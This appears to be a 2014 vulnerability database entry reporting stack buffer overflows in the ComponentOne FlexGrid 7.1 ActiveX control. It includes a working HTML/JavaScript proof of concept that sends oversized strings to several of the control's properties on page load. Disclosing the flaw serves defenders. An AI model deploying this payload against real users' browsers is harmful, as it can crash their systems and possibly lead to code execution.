ComponentOne FlexGrid 7.1 ActiveX Control Multiple Buffer Overflow Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

ComponentOne FlexGrid 7.1 ActiveX Control Buffer Overflow Vulnerabilitie


                                                source: http://www.securityfocus.com/bid/26467/info

ComponentOne FlexGrid ActiveX Control is prone to multiple stack-based buffer-overflow vulnerabilities because the application fails to adequately check boundaries on user-supplied input.

An attacker can exploit these issues to cause denial denial-of-service conditions and possibly to execute arbitrary code, but this has not been confirmed.

ComponentOne FlexGrid 7.1 Light is vulnerable; other versions may also be affected. 

&#60;html&#62;
 &#60;head&#62;
  &#60;script language=&#34;JavaScript&#34; DEFER&#62;
    function Check() {
     var s = &#34;AAAA&#34;;

     while (s.length &#60; 262145) s=s+s;

     var obj = new ActiveXObject(&#34;VSFlexGrid.VSFlexGridL&#34;);

     obj.Text = s;
     obj.EditSelText = s;
     obj.EditText = s;
     obj.CellFontName = s;
   }
  &#60;/script&#62;

 &#60;/head&#62;
 &#60;body onload=&#34;JavaScript: return Check();&#34; /&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1